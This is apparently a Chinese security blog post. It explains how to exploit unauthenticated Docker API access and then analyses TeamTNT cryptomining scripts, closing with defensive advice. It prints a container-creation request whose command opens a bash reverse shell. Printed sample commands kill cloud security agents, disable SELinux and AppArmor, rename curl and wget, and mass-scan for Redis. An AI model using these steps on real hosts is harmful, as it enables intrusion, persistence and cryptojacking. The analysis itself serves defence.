记一次寻找docker未授权新的利用方式结果变成样本分析这件事
字数 1541 2025-08-05 08:19:35

Docker未授权访问漏洞利用与TEAMTNT挖矿样本分析

1. Docker未授权访问漏洞利用

1.1 传统利用方式

Docker的2375端口存在未授权访问安全问题,传统利用方式是通过-H tcp://ip:2375远程连接未授权的Docker API,然后:

  1. 运行一个新实例
  2. 使用-v /:/mnt将物理服务器的根目录挂载到实例中
  3. 将SSH公钥写入物理服务器的/root/.ssh/authorized_keys实现提权
  4. 或者将反弹shell脚本写入/etc/crontab提权

1.2 更高级的API利用方式

通过Docker HTTP API可以实现更灵活的利用方式,主要涉及以下API端点:

  1. 拉取镜像

    curl -X POST "http://ip/images/create?fromImage=ubuntu&tag=latest"
    
  2. 创建容器(POST /containers/create):

    POST /containers/create HTTP/1.1
    Host: ip:port
    Content-Type: application/json
    
    {
      "Image": "ubuntu:latest",
      "Cmd": ["/bin/bash", "-c", "bash -i>& /dev/tcp/ip/port 0>&1;while true;do echo hello world;sleep 1;done"],
      "HostConfig": {
        "Binds": ["/:/mnt"]
      }
    }
    
  3. 启动容器

    curl -X POST "http://ip/containers/{id}/start"
    

这种方式的优势是可以精确控制容器配置,实现反弹shell同时挂载主目录。

2. TEAMTNT挖矿样本分析

2.1 攻击流程概述

  1. 通过Docker未授权访问漏洞入侵
  2. 下载并执行cronb.sh脚本
  3. cronb.sh部署挖矿环境后下载cronis.sh
  4. cronis.sh安装扫描工具并执行cronscan
  5. cronscan启动扫描器并下载cronrs.sh
  6. cronrs.sh扫描内网和特定云IP段的Redis未授权漏洞扩大攻击范围

2.2 样本功能分析

2.2.1 cronb.sh主要功能

  1. 剔除云安全保护机制

    • 停止阿里云安骑士等安全服务
    pkill -9 AliYunDun AliHids AliHips AliNet AliSecGuard AliYunDunUpdate
    
    • 删除阿里云监控插件
    • 停止腾讯云安全组件
  2. 停用Linux安全机制

    setenforce 0
    echo SELINUX=disabled >/etc/selinux/config
    service apparmor stop
    systemctl disable apparmor
    
  3. 安装Diamorphine rootkit

    • 通过base64编码的tar包安装
    • 用于隐藏进程和提权
  4. 实现免密登录

    • 创建隐藏用户hilde
    • 添加SSH公钥到authorized_keys
    • 修改/etc/passwd/etc/shadow/etc/sudoers
  5. 部署门罗币挖矿程序

    • 下载xmrig挖矿软件
    • 配置矿池和钱包地址
    • 设置CPU使用率

2.2.2 cronis.sh主要功能

  1. 命令替换绕检测

    mv /usr/bin/curl /usr/bin/url
    mv /usr/bin/url /usr/bin/cd1
    mv /usr/bin/wget /usr/bin/get
    mv /usr/bin/get /usr/bin/wd1
    
  2. 安装扫描工具

    • 安装masscan和pnscan端口扫描器
    • 下载并执行cronscan脚本

2.2.3 cronscan主要功能

  1. 下载cronrs.sh
  2. 创建systemd服务实现持久化
  3. 启动pnscan和masscan扫描器

2.2.4 cronrs.sh主要功能

  1. 扫描内网和特定云IP段的Redis未授权漏洞:
    masscan --max-rate 10000 -p6379 192.168.0.0/16 172.16.0.0/16 116.62.0.0/16 116.232.0.0/16 116.128.0.0/16 116.163.0.0/16
    
  2. 利用发现的Redis未授权漏洞扩大攻击范围

2.3 TEAMTNT攻击特点

  1. 全面清除安全防护:针对阿里云和腾讯云的安全产品有专门的处理
  2. 持久化机制:通过systemd服务、SSH后门等多种方式实现
  3. 隐蔽性:使用rootkit隐藏进程,修改系统命令名称
  4. 横向移动:通过扫描内网和云服务商特定IP段寻找Redis等服务的未授权漏洞
  5. 模块化设计:分阶段下载和执行不同功能的脚本

3. 防御建议

  1. Docker安全配置

    • 禁止Docker API的未授权访问
    • 使用TLS认证保护Docker API
    • 限制容器的能力集
  2. 系统安全加固

    • 保持SELinux或AppArmor启用状态
    • 监控系统关键文件的修改
    • 限制系统命令的修改
  3. 云安全防护

    • 不要随意停止云安全服务
    • 配置云安全产品的告警规则
  4. 网络防护

    • 限制出站连接
    • 监控异常扫描行为
    • 配置网络ACL限制内部服务暴露
  5. 挖矿防护

    • 监控异常的CPU使用率
    • 配置钱包地址黑名单
    • 监控已知矿池域名和IP

4. 参考资源

  1. Docker API安全文档
  2. Diamorphine rootkit分析
  3. 云安全最佳实践
  4. Redis未授权访问漏洞防护
Docker未授权访问漏洞利用与TEAMTNT挖矿样本分析 1. Docker未授权访问漏洞利用 1.1 传统利用方式 Docker的2375端口存在未授权访问安全问题,传统利用方式是通过 -H tcp://ip:2375 远程连接未授权的Docker API,然后: 运行一个新实例 使用 -v /:/mnt 将物理服务器的根目录挂载到实例中 将SSH公钥写入物理服务器的 /root/.ssh/authorized_keys 实现提权 或者将反弹shell脚本写入 /etc/crontab 提权 1.2 更高级的API利用方式 通过Docker HTTP API可以实现更灵活的利用方式,主要涉及以下API端点: 拉取镜像 : 创建容器 (POST /containers/create): 启动容器 : 这种方式的优势是可以精确控制容器配置,实现反弹shell同时挂载主目录。 2. TEAMTNT挖矿样本分析 2.1 攻击流程概述 通过Docker未授权访问漏洞入侵 下载并执行 cronb.sh 脚本 cronb.sh 部署挖矿环境后下载 cronis.sh cronis.sh 安装扫描工具并执行 cronscan cronscan 启动扫描器并下载 cronrs.sh cronrs.sh 扫描内网和特定云IP段的Redis未授权漏洞扩大攻击范围 2.2 样本功能分析 2.2.1 cronb.sh主要功能 剔除云安全保护机制 : 停止阿里云安骑士等安全服务 删除阿里云监控插件 停止腾讯云安全组件 停用Linux安全机制 : 安装Diamorphine rootkit : 通过base64编码的tar包安装 用于隐藏进程和提权 实现免密登录 : 创建隐藏用户hilde 添加SSH公钥到 authorized_keys 修改 /etc/passwd 、 /etc/shadow 和 /etc/sudoers 部署门罗币挖矿程序 : 下载xmrig挖矿软件 配置矿池和钱包地址 设置CPU使用率 2.2.2 cronis.sh主要功能 命令替换绕检测 : 安装扫描工具 : 安装masscan和pnscan端口扫描器 下载并执行cronscan脚本 2.2.3 cronscan主要功能 下载cronrs.sh 创建systemd服务实现持久化 启动pnscan和masscan扫描器 2.2.4 cronrs.sh主要功能 扫描内网和特定云IP段的Redis未授权漏洞: 利用发现的Redis未授权漏洞扩大攻击范围 2.3 TEAMTNT攻击特点 全面清除安全防护 :针对阿里云和腾讯云的安全产品有专门的处理 持久化机制 :通过systemd服务、SSH后门等多种方式实现 隐蔽性 :使用rootkit隐藏进程,修改系统命令名称 横向移动 :通过扫描内网和云服务商特定IP段寻找Redis等服务的未授权漏洞 模块化设计 :分阶段下载和执行不同功能的脚本 3. 防御建议 Docker安全配置 : 禁止Docker API的未授权访问 使用TLS认证保护Docker API 限制容器的能力集 系统安全加固 : 保持SELinux或AppArmor启用状态 监控系统关键文件的修改 限制系统命令的修改 云安全防护 : 不要随意停止云安全服务 配置云安全产品的告警规则 网络防护 : 限制出站连接 监控异常扫描行为 配置网络ACL限制内部服务暴露 挖矿防护 : 监控异常的CPU使用率 配置钱包地址黑名单 监控已知矿池域名和IP 4. 参考资源 Docker API安全文档 Diamorphine rootkit分析 云安全最佳实践 Redis未授权访问漏洞防护